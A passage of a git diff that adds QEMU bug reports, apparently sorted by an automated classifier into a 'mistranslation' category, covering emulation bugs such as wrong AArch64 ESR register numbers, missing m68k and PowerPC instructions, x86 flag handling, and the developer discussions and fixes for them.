+$ ./sample +I'm not in QEMU + +$ qemu-x86_64 ./sample +I'm in QEMU + + + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +Repro case in comment #1 still demonstrates bug. + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/267 + + diff --git a/results/classifier/deepseek-1/output/mistranslation/1851095 b/results/classifier/deepseek-1/output/mistranslation/1851095 new file mode 100644 index 00000000..1390c7af --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1851095 @@ -0,0 +1,73 @@ + +[feature request] awareness of instructions that are well emulated + +While qemu's scalar emulation tends to be excellent, qemu's SIMD emulation tends to be incorrect (except for arm64 from x86_64). Until these code paths are audited, which is probably a large job, it would be nice if qemu knew its emulation of this class of instructions was not very good, and thus it would give up on finding these instructions if a "careful" operation is passed. + +Here is a pull request for the zig language that runs into this problems in qemu https://github.com/ziglang/zig/pull/2945/ + +I have more code for validation if someone is working on this. + +On Sun, 3 Nov 2019 at 04:41, Shawn Landden <email address hidden> wrote: +> While qemu's scalar emulation tends to be excellent, qemu's SIMD +> emulation tends to be incorrect (except for arm64 from x86_64)--i have +> found this both for mipsel and arm32. Until these code paths are +> audited, which is probably a large job, it would be nice if qemu knew +> its emulation of this class of instructions was not very good, and thus +> it would give up on finding these instructions if a "careful" operation +> is passed. + +I'm not sure how this could work. If QEMU reports (via ID regs +etc) to the guest that it supports instruction class X when it +does not, that's a bug and we should fix it. If QEMU implements +an instruction but gets it wrong, that's also a bug and we should +fix it. In both cases, we'd need to have specific bug reports, +ideally with reproduce-cases. But we don't really have "known +areas where the emulation is incorrect" that we could somehow +differentiate and disable (except at a very vague level, eg +"probably better not to rely on the x86 emulation"). + +You might be able by careful selection of the cpu type to avoid +CPUs which implement vector operations. Some architectures +also allow individual CPU features to be disabled with extra +'-foo' qualifiers on the -cpu argument. + +For Arm in particular (32 or 64 bit) I believe our implementation +should be correct and am happy to look at bug reports for that. + +thanks +-- PMM + + +ok, here is a double precision exponent implementation that works on arm32 hardware, but fails in qemu with the wrong checksum. https://github.com/shawnl/zig-libmvec/blob/master/exp.zig + +You need to build zig with the above patch-set. + +I guess I am starting from a pessimistic perspective, where I have only ever seen SIMD work with arm64 emulation (which is quite new), and am sorry for that. + +Can you please provide a binary (preferably statically built or with required shared libraries attached)? + +Thanks, + +Laurent + +example binary doing double-precision exponent on 16 megs + +expected output: + +checksum: f181b401cd42aa7b + +actual output: + +checksum: 4004022b0ba624fb + + +Here is the same thing compiled with optimizations on + +appears the random number generator produces different results on 32-bit arches, while my code seems to work fine in qemu + +I can confirm bench_simple gives the same result on both qemu-arm and my aarch32 hardware. + +Can you provide a clearer repro example of what doesn't wirk on mipsel platform? + +In last two QEMU releases mips (Wave) developers went to great lenghts making sure both mips SIMD and mips FP instructions (in both scalar and vector variants) are emulated properly. Some of the unit tests were published, but also many were left internal, and there are many integration tests devised and run as well. We in mips (Wave) consider these two areas well tested. Still, we'll consider seriuosly fixing your example, if you prove experimentally that this is a mips-related bug, but just provides us with a reasonably convenient repro procedure. + diff --git a/results/classifier/deepseek-1/output/mistranslation/1876568 b/results/classifier/deepseek-1/output/mistranslation/1876568 new file mode 100644 index 00000000..420f8663 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1876568 @@ -0,0 +1,33 @@ + +"semtimedop" implementation missing in qemu? + +I was trying to do an ARMv6 cross compile with qemu-user-static when I ran into this: + +https://travis-ci.com/github/VDR4Arch/vdr4arch/jobs/326884620#L1596 + +I was close to giving up when I found the following: + +https://github.com/osrf/multiarch-docker-image-generation/issues/36 + +Most important comment may be this one: + +https://github.com/osrf/multiarch-docker-image-generation/issues/36#issuecomment-610626796 + +> The "correct" way to fix this does seem to be to implement semtimedop in qemu. + +I don't know how much involved the people, discussing there, are in the qemu development but I thought it may be a good idea to bring this to your attention. If this is already fixed (I haven't found any bug about "semtimedop"), then please just close this one and tell me in which version the fix will be included. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting older bugs to "Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/mistranslation/1879587 b/results/classifier/deepseek-1/output/mistranslation/1879587 new file mode 100644 index 00000000..3336a39b --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1879587 @@ -0,0 +1,101 @@ + +Register number in ESR is incorrect for certain banked registers when switching from AA32 to AA64 + +I am running into a situation where I have: +- A hypervisor running in EL2, AA64 +- A guest running in EL1, AA32 + +We trap certain accesses to special registers such as DACR (via HCR.TVM). One instruction that is trapped is: + +ee03ef10 -> mcr 15, 0, lr, cr3, cr0, {0} + +The guest is running in SVC mode. So, LR should refer to LR_svc there. LR_svc is mapped to X18 in AA64. So, ESR should reflect that. However, the actual ESR value is: 0xfe00dc0 + +If we decode the 'rt': +>>> (0xfe00dc0 >> 5) & 0x1f +14 + +My understanding is that 14 is incorrect in the context of AA64. rt should be set to 18. The current mode being SVC, LR refers to LR_svc not LR_usr. In other words, the mapping between registers in AA64 and AA32 doesn't seem to be accounted for. I've tested this with Qemu 5.0.0 + +Let me know if that makes sense and if you would like more info. I am also happy to test patches. +Thanks for all the great work on Qemu! + +This is with qemu-system-aarch64 - forgot to mention it explicitly. So, it will only affect qemu for ARM 64-bit. + +Thanks for the bug report; I think this patch should fix it: + +https://<email address hidden>/ + +Any chance you could test it? + + +Of course. I just tested the patch (used the branch from https://github.com/patchew-project/qemu) and it didn't seem to help. Could that be linked to the fact that the translation is only in the SMC exception path? It should probably target the MSR exception path also (and probably others too). It's just a guess as I am not very familiar with the code. If that's enough info, do let me know how to gather more useful information. + +Maybe it's covered by EXCP_HYP_TRAP already... + +Hmm, that's odd. The switch statement fall-throughs and case labels mean that that code should be executed for all exceptions taken to AArch64 except for IRQ/FIQ/VIRQ/VFIQ. (You could probably confirm that by running QEMU under a debugger and putting in suitable breakpoints.) + +Do you have a test case image/command line I could use to reproduce the issue ? + + +Unfortunately, I won't be able to send the code or binary for the hypervisor as of now (it will become available at some point in the future though). I've done a bit of debugging on the QEMU code and it seems like the approach you are taking works fine in general but the register mapping code doesn't seem quite right. Applying this patch (on top of yours): + +From e2182581dcdeedc2cb88cd21b88b4db744677737 Mon Sep 17 00:00:00 2001 +From: Julien Freche <email address hidden> +Date: Tue, 4 Aug 2020 11:54:49 -0700 +Subject: [PATCH] Possible fix + +--- + target/arm/helper.c | 11 +++++------ + 1 file changed, 5 insertions(+), 6 deletions(-) + +diff --git a/target/arm/helper.c b/target/arm/helper.c +index 60b80228fd..455c92b891 100644 +--- a/target/arm/helper.c ++++ b/target/arm/helper.c +@@ -9619,17 +9619,16 @@ static int aarch64_regnum(CPUARMState *env, int aarch32_reg) + switch (mode) { + case ARM_CPU_MODE_USR: + case ARM_CPU_MODE_SYS: +- return 14; + case ARM_CPU_MODE_HYP: +- return 16; ++ return 14; + case ARM_CPU_MODE_IRQ: +- return 18; ++ return 16; + case ARM_CPU_MODE_SVC: +- return 20; ++ return 18; + case ARM_CPU_MODE_ABT: +- return 22; ++ return 20; + case ARM_CPU_MODE_UND: +- return 24; ++ return 22; + case ARM_CPU_MODE_FIQ: + return 30; + default: +-- +2.28.0 + +Based on the ARM documentation, I would think that LR_svc maps to X18, not X20. I fixed the ones that seemed wrong but I haven't check every possible case so you may want to double check this. With the patch I was able to boot Linux correctly. + +Let me know if that makes sense + + +Whoops, yes. I somehow misread that table (I think I failed to spot that there is no LR_hyp and it just shares r14 with usr/sys, so I did a cut-n-paste of the SP cases to LR, which isn't right). I think your adjustment to the patch is correct. I'll do a v2 patch for you to test, but it will just be those fixes applied to v1. + + +v2 is here https://patches.linaro.org/patch/247434/ -- hoping to put that in master today... + + + +It seems like this is your patch plus my fixup so this is good to me and already tested locally. Thanks again. + +Hey Julien, what fixup do you need on top of Peter's v2? + +Peter's v2 already includes the fixup (update #6) + +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=a65dabf71a9f9b949 + diff --git a/results/classifier/deepseek-1/output/mistranslation/1880287 b/results/classifier/deepseek-1/output/mistranslation/1880287 new file mode 100644 index 00000000..ac89983c --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1880287 @@ -0,0 +1,28 @@ + +gcc crashes in hppa emulation + +There seems to be a translation bug in the qemu-hppa (qemu v5.0.0) emulation: +A stripped down testcase (taken from Linux kernel build) is attached. + +In there is "a.sh", a shell script which calls gcc-9 (fails with both debian gcc-9.3.0-11 or gcc-9.3.0-12). and "a.iii", the preprocessed source. + +When starting a.sh, in the emulation gcc crashes with segfault. +On real hardware gcc succeeds to compile the source. + +In a hppa-user chroot running "apt update && apt install gcc-9" should be sufficient to get the needed reproducer environment. + + + +Test still crashes the VM and chroot with up-to-date debian chroot, including updated gcc-9.3.0-14. + +Sven Schnelle (<email address hidden>) noticed that increasing +-#define TCG_MAX_TEMPS 512 ++#define TCG_MAX_TEMPS 1024 +in include/tcg/tcg.h prevents fixes that crash. + +Thanks for the debugging. Failure to free temporaries. + +Fixed here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=79826f99feb7 + + diff --git a/results/classifier/deepseek-1/output/mistranslation/1881450 b/results/classifier/deepseek-1/output/mistranslation/1881450 new file mode 100644 index 00000000..de457355 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1881450 @@ -0,0 +1,61 @@ + +Emulation of a math function fails for m68k Linux user mode + +Please check the attached math-example.c file. +When running the m68k executable under QEMU, it results in an "Illegal instruction" error. +Other targets don't produce this error. + +Steps to reproduce the bug: + +1. Download the math-example.c attached file. +2. Compile it by running: + m68k-linux-gnu-gcc -O2 -static math-example.c -o math-example-m68k -lm +3. Run the executable with QEMU: + /build/qemu-5.0.0/build-gcc/m68k-linux-user/qemu-m68k math-example-m68k + +The output of execution is: + Profiling function expm1f(): + qemu: uncaught target signal 4 (Illegal instruction) - core dumped + Illegal instruction (core dumped) + +Expected output: + Profiling function expm1f(): + Elapsed time: 47 ms + Control result: 71804.953125 + + + + + +Tracing gives me: + +IN: expm1f +0x800005cc: fetoxm1x %fp2,%fp0 +Disassembler disagrees with translator over instruction decoding +Please report this to <email address hidden> + +(gdb) x/2hx 0x800005cc +0x800005cc: 0xf200 0x0808 + +The instruction is not implemented in qemu. I fix that. + + + +Fix available. + +Execution doesn't fail anymore: + + Profiling function expm1f(): + Elapsed time: 41 ms + Control result: 71805.108342 + +Control result matches real hardware one: + + Profiling function expm1f(): + Elapsed time: 2152 ms + Control result: 71805.108342 + + +Fixed here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=250b1da35d579f423 + diff --git a/results/classifier/deepseek-1/output/mistranslation/1881506 b/results/classifier/deepseek-1/output/mistranslation/1881506 new file mode 100644 index 00000000..018b9291 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1881506 @@ -0,0 +1,37 @@ + +TCG doesn't support a lot of features that should be supported + +This is quite odd, and I'm not sure about how to get around it. I'm writing an OS in Rust and require APIC support. When I boot my kernel with qemu-system-x86_64, however, it dumps out a [lot] of warnings; it claims that TCG doesn't support FMA, X2APIC, AVX, F16C, AVX2, RDSEED, SHA-NI, FXSR-OPT, misalignsse, 3dnowprefetch, osvw, topoext, perfctr-core, clzero, xsaveerptr, ibpb, nrip-save, xsavec, and xsaves, but prints these warnings over 80 times before finally doing what I told it to do. Running QEMU 5.0.0 (unknown commit hash), as follows: +qemu-system-x86_64 -drive format=raw,file=target\x86_64-kernel-none\debug\bootimage-kernel.bin -serial stdio -no-reboot -hdb disk.img -s -m 4G -usb -rtc base=utc,clock=host -cpu EPYC-v3,+acpi,+apic,+rdrand,+rdseed,+sse,+sse2,+sse4.1,+sse4.2,+sse4a,+ssse3,+syscall,+x2apic -smp cpus=8 -soundhw all +I would run using HAXM, but my kernel requires RDRAND, and QEMU does not, to my knowledge, automatically support RDRAND (and I don't know how to enable it). + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting older bugs to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" within the next 60 days (otherwise it will get +closed as "Expired"). We will then eventually migrate the ticket auto- +matically to the new system. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/mistranslation/1888165 b/results/classifier/deepseek-1/output/mistranslation/1888165 new file mode 100644 index 00000000..d0c1a210 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1888165 @@ -0,0 +1,22 @@ + +loopz/loopnz clearing previous instruction's modified flags on cx -> 0 + +If you run QBasic in qemu, printing a double-type single-digit number will print an extra decimal point (e.g. PRINT CDBL(3) prints "3.") that does not appear when running on a real CPU (or on qemu with -enable-kvm). I tracked this down to the state of the status flags after a loopnz instruction. + +After executing a sequence like this in qemu: + + mov bx,1 + mov cx,1 + dec bx ; sets Z bit in flags +A: loopnz A ; should not modify flags + +Z is incorrectly clear afterwards. loopz does the same thing (but not plain loop). Interestingly, inserting pushf+popf after dec results in Z set, so loopnz/loopz does not always clear Z itself but is rather interfering with the previous instruction's flag setting. + +Version 5.1.0-rc0, x86-64 host. + + + + + +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=3cb3a7720b01830abd5 + diff --git a/results/classifier/deepseek-1/output/mistranslation/1889288 b/results/classifier/deepseek-1/output/mistranslation/1889288 new file mode 100644 index 00000000..05080b6a --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1889288 @@ -0,0 +1,14 @@ + +aarch64 BICS instruciton doesn't set flags + +When reading the source for translate-a64.c here: + +https://github.com/qemu/qemu/blob/a466dd084f51cdc9da2e99361f674f98d7218559/target/arm/translate-a64.c#L4783 + +I noticed that it does not appear to call gen_logic_CC for the BICS instruction so is not setting the flags as required. I haven't tried to produce a test case for it but it seems like it might be a bug. + +The code is correct (though it is admittedly not entirely obvious at first glance). The switch statement at line 4753 is on "(opc | (invert << 2))" (where opc is a 2 bit field and invert a 1 bit field). Both ANDS and BICS have opc==3 and so will cause a call to gen_logic_CC(). The difference between the two insns is that ANDC has invert==0 and BICS has invert==1. + + +Oh yes I see. Sorry for the false report. + diff --git a/results/classifier/deepseek-1/output/mistranslation/1910505 b/results/classifier/deepseek-1/output/mistranslation/1910505 new file mode 100644 index 00000000..9efebe14 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1910505 @@ -0,0 +1,77 @@ + +atomic failure linking with --enable-sanitizers on 32-bit Linux hosts + +As of commit 50536341b47, using --enable-sanitizers on 32-bit Linux host: +- displays various warnings +- fails linking + +Using Ubuntu 18.04 (release 20201211.1) and Clang10 on i386: + +[139/675] Compiling C object softmmu.fa.p/softmmu_icount.c.o +In file included from ../softmmu/icount.c:31: +In file included from include/exec/exec-all.h:23: +In file included from ../target/mips/cpu.h:4: +In file included from ../target/mips/cpu-qom.h:23: +In file included from include/hw/core/cpu.h:23: +In file included from include/hw/qdev-core.h:5: +In file included from include/qemu/bitmap.h:16: +In file included from include/qemu/bitops.h:17: +include/qemu/atomic.h:463:12: warning: misaligned atomic operation may +incur significant performance penalty [-Watomic-alignment] + return qatomic_read__nocheck(ptr); + ^ +include/qemu/atomic.h:129:5: note: expanded from macro +'qatomic_read__nocheck' + __atomic_load_n(ptr, __ATOMIC_RELAXED) + ^ +include/qemu/atomic.h:473:5: warning: misaligned atomic operation may +incur significant performance penalty [-Watomic-alignment] + qatomic_set__nocheck(ptr, val); + ^ +include/qemu/atomic.h:138:5: note: expanded from macro +'qatomic_set__nocheck' + __atomic_store_n(ptr, i, __ATOMIC_RELAXED) + ^ +2 warnings generated. +[...] + +[850/2216] Linking target tests/test-hbitmap +FAILED: tests/test-hbitmap +clang -o tests/test-hbitmap tests/test-hbitmap.p/test-hbitmap.c.o +tests/test-hbitmap.p/iothread.c.o -Wl,--as-needed -Wl,--no-undefined +-pie -Wl,--whole-archive libblock.fa libcrypto.fa libauthz.fa libqom.fa +libio.fa -Wl,--no-whole-archive -Wl,--warn-common -fsanitize=undefined +-fsanitize=address -Wl,-z,relro -Wl,-z,now -m32 -ggdb +-fstack-protector-strong -Wl,--start-group libqemuutil.a +subprojects/libvhost-user/libvhost-user-glib.a +subprojects/libvhost-user/libvhost-user.a libblock.fa libcrypto.fa +libauthz.fa libqom.fa libio.fa @block.syms -lgio-2.0 -lgobject-2.0 +-lglib-2.0 -lgio-2.0 -lgobject-2.0 -lglib-2.0 -pthread -lutil -lgnutls +-lm -lgthread-2.0 -lglib-2.0 /usr/lib/i386-linux-gnu/libglib-2.0.so +-liscsi -lgthread-2.0 -lglib-2.0 -laio -lcurl +/usr/lib/i386-linux-gnu/libz.so -lrbd -lrados -lnettle -lgnutls +-Wl,--end-group +libblock.fa(block_io.c.o): In function `stat64_max': +include/qemu/stats64.h:58: undefined reference to `__atomic_load_8' +include/qemu/stats64.h:60: undefined reference to +`__atomic_compare_exchange_8' +libblock.fa(block_qapi.c.o): In function `stat64_get': +include/qemu/stats64.h:40: undefined reference to `__atomic_load_8' +libqemuutil.a(util_qsp.c.o): In function `qatomic_set_u64': +include/qemu/atomic.h:478: undefined reference to `__atomic_store_8' +libqemuutil.a(util_qsp.c.o): In function `qatomic_read_u64': +include/qemu/atomic.h:468: undefined reference to `__atomic_load_8' +clang: error: linker command failed with exit code 1 (use -v to see +invocation) + +Issue previously reported on the list here: +https://<email address hidden>/msg770128.html + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'invalid' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/235 + + diff --git a/results/classifier/deepseek-1/output/mistranslation/1912107 b/results/classifier/deepseek-1/output/mistranslation/1912107 new file mode 100644 index 00000000..69d8baad --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1912107 @@ -0,0 +1,48 @@ + +Option to constrain linux-user exec() to emulated CPU only + +When trying to reproduce a bug someone reported on an actual AMD K10[1], I tried to directly throw `qemu_x86-64 -cpu +phenom path/to/wrongly-labelled-instruction-set/gcc 1.c` at the problem, but failed to get an "illegal instruction" as expected. A quick investigation reveals that the error is actually caused by one of gcc's child processess, and that the said process is being ran directly on the host. A similar problem happens with trying to call stuff with /usr/bin/env. + + [1]: https://github.com/Homebrew/brew/issues/1034 + +Since both the host and the guest are x86_64, I deemed binfmt inapplicable to my case. I believe that QEMU should offer a way to modify exec() and other spawning syscalls so that execution remains on an emulated CPU in such a case. Call it an extra layer of binfmt, if you must. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/306 + + diff --git a/results/classifier/deepseek-1/output/mistranslation/1916269 b/results/classifier/deepseek-1/output/mistranslation/1916269 new file mode 100644 index 00000000..cd5edc32 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1916269 @@ -0,0 +1,58 @@ + +TCG: QEMU incorrectly raises exception on SSE4.2 CRC32 instruction + +If I run FreeBSD on QEMU 5.2 with TCG acceleration -cpu Nehalem, I get a FPU exception when executing crc32 (https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=253617). This is not a problem with the default CPU (or KVM) since that does not support SSE 4.2. + +Attaching GDB shows this is triggered in target/i386/tcg/translate.c:3067 + + /* simple MMX/SSE operation */ + if (s->flags & HF_TS_MASK) { + gen_exception(s, EXCP07_PREX, pc_start - s->cs_base); + return; + } + +However, according to https://software.intel.com/sites/default/files/m/8/b/8/D9156103.pdf, page 61 the CRC32 instruction works no matter what the value of the TS bit. + +The code sequence in question is: +0xffffffff8105a4de <+126>: f2 48 0f 38 f1 de crc32q %rsi,%rbx +0xffffffff8105a4e4 <+132>: f2 48 0f 38 f1 ca crc32q %rdx,%rcx. + +This should work even with the FPU disabled. + +Could someone familiar with the target/i386 decode logic could have a look at this? It should be a rather simple change to avoid the exception for the crc32 encoding. However, I am not familiar with x86 instruction encodings so it would take me a long time to come up with a correct patch. +Thanks! + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + +Reported on GitLab as https://gitlab.com/qemu-project/qemu/-/issues/427 + diff --git a/results/classifier/deepseek-1/output/mistranslation/1926202 b/results/classifier/deepseek-1/output/mistranslation/1926202 new file mode 100644 index 00000000..1aa92ea5 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1926202 @@ -0,0 +1,104 @@ + +qemu-user can't run some ppc binaries + +qemu-user v6.0.0-rc5, built in static mode, will crash for certain ppc binaries. It seems to have something to do with glibc for some Centos versions. The problem is easiest to see with statically-linked binaries. + +The attached Dockerfile shows how to produce a ppc binary that will crash qemu-user. Here is how to reproduce the problem: + +$ uname -m +x86_64 +$ docker run --rm --privileged multiarch/qemu-user-static --reset -p yes +$ docker build -t qemu-bug:centos -f Dockerfile.centos . +$ docker run --rm -it -v$PWD:$PWD -w$PWD qemu-bug:centos cp /helloworld-centos.static.ppc . +$ qemu-ppc version 5.2.95 (v6.0.0-rc5) +Copyright (c) 2003-2021 Fabrice Bellard and the QEMU Project developers +$ qemu-ppc-static ./helloworld-centos.static.ppc +emu: uncaught target signal 4 (Illegal instruction) - core dumped +[1] 16678 illegal hardware instruction (core dumped) qemu-ppc-static ./helloworld-centos.static.ppc + +I can also provide the binary if necessary. + + + + + +Could you provide directly the binary to test (helloworld-centos.static.ppc)? + +helloworld-centos.static.ppc is attached as part of comment #2 + +Thank you. I can reproduce the problem. + +This is not a regression (reproduced with 5.2 and 5.1) + + IN: strlen + 0x1000d780: 7d2a03f8 cmpb r10, r9, r0 + + OP: + ld_i32 tmp0,env,$0xfffffffffffffff0 + brcond_i32 tmp0,$0x0,lt,$L0 + + ---- 1000d780 + mov_i32 nip,$0x1000d780 + mov_i32 tmp0,$0x60 + mov_i32 tmp4,$0x21 + call raise_exception_err,$0x2,$0,env,tmp0,tmp4 + exit_tb $0x0 + set_label $L0 + exit_tb $0x7efd50022283 + +"cmpb" is define in ISA 2.05, but qemu-ppc (32bit) defines by default a PowerPC 750 that is not ISA 2.05. + +It doesn't seem QEMU supports ISA 2.05 for any 32bit PowerPC (only POWER7 and above, that are 64bit processors). + +Thanks for looking into this. What reference did you use to check which ISA "cmpb" is in? + + + +Le 29/04/2021 à 19:20, Aaron Simmons a écrit : +> Thanks for looking into this. What reference did you use to check which +> ISA "cmpb" is in? +> + +It's in the QEMU source, but you can check the specs: + +POWER ISA 2.04 -> no cmpb + +https://wiki.raptorcs.com/w/images/6/65/PowerISA_V2.04-FINAL.Public.pdf + +POWER ISA 2.05 -> cmpb + +https://wiki.raptorcs.com/w/images/5/50/PowerISA_V2.05.pdf + + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/mistranslation/1967248 b/results/classifier/deepseek-1/output/mistranslation/1967248 new file mode 100644 index 00000000..8f1d13c9 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1967248 @@ -0,0 +1,45 @@ + +qemu: uncaught target signal 5 (Trace/breakpoint trap) + +I'm getting core dumped when running the attached a.out_err binary in qemu, but when using Gdb to remote-debug the program, it exited normally. will appreciate if you can help look into this qemu issue. + +And I found that QEMU's 32-bit arm linux-user mode doesn't correctly turn guest BKPT insns into SIGTRAP signal. + +0xa602 <_start> movs r0, #22 0xa604 <_start+2> addw r1, pc, #186 ; 0xba +0xa608 <_start+6> bkpt 0x00ab + +$readelf -h hello +ELF Header: + Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 + Class: ELF32 + Data: 2's complement, little endian + Version: 1 (current) + OS/ABI: UNIX - System V + ABI Version: 0 + Type: EXEC (Executable file) + Machine: ARM + Version: 0x1 + Entry point address: 0xa603 + Start of program headers: 52 (bytes into file) + Start of section headers: 144128 (bytes into file) + Flags: 0x5000200, Version5 EABI, soft-float ABI + Size of this header: 52 (bytes) + Size of program headers: 32 (bytes) + Number of program headers: 5 + Size of section headers: 40 (bytes) + Number of section headers: 16 + Section header string table index: 14 + +$qemu-arm --version +qemu-arm version 6.2.0 +Copyright (c) 2003-2021 Fabrice Bellard and the QEMU Project developers + + +And I have check that the bug(https://bugs.launchpad.net/qemu/+bug/1873898) is fixed. +But it's coredump. + +It seem to can not upload a binary? + +This bug tracker is no longer being used by the QEMU project. It looks like you found our new tracker, though: https://gitlab.com/qemu-project/qemu/-/issues/952 + + diff --git a/results/classifier/deepseek-1/output/mistranslation/672934 b/results/classifier/deepseek-1/output/mistranslation/672934 new file mode 100644 index 00000000..563d5ed5 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/672934 @@ -0,0 +1,83 @@ + +FPU incorrect on Mac OS X + +I am using the 0.13.0 release version of QEMU on Mac OS X 10.6.4. I work for a university and the affected guest OS is our own research OS. I believe I found a bug in QEMU's FPU emulation, which only triggers on the Mac. You can reproduce the problem by booting the attached ISO image. + +Investigating the problem, I found that the lua interpreter in our loader component (called "ned") internally uses doubles to represent all lua-numbers. These doubles are showing completely wrong values on QEMU/Mac, resulting in the lua code not processing properly. + +I also attached a patch which fixes the problem for me. The attached ZIP-file also contains "before" and "after" screenshots. Note that booting the ISO on a real machine or on a Linux-QEMU always shows the correct "after" behavior. Only QEMU on the Mac exhibits the wrong "before" behavior without my patch. The patch might break other systems setting the CONFIG_BSD flag, so maybe the preprocessor should check for __APPLE__ instead to make the fix Mac-only. + + + + + + + + + + + +Looks like the ISO from comment #4 (thanks for attaching that one!) shows the correct behavior with up to date QEMU 2.7. Also, the affected softfloat code has been completely reworked in between (e.g. with commit cf67c6bad56d43e6d60), so I assume this has been fixed sometimes in the past years. + +I can confirm that recent QEMU works fine. Sorry, I forgot about this bug and did not update it. + + +On Sep 12, 2016, at 5:03 PM, <email address hidden> wrote: + +> Looks like the ISO from comment #4 (thanks for attaching that one!) +> shows the correct behavior with up to date QEMU 2.7. Also, the +> affected +> softfloat code has been completely reworked in between (e.g. with +> commit +> cf67c6bad56d43e6d60), so I assume this has been fixed sometimes in the +> past years. +> +> ** Changed in: qemu +> Status: New => Fix Released +> 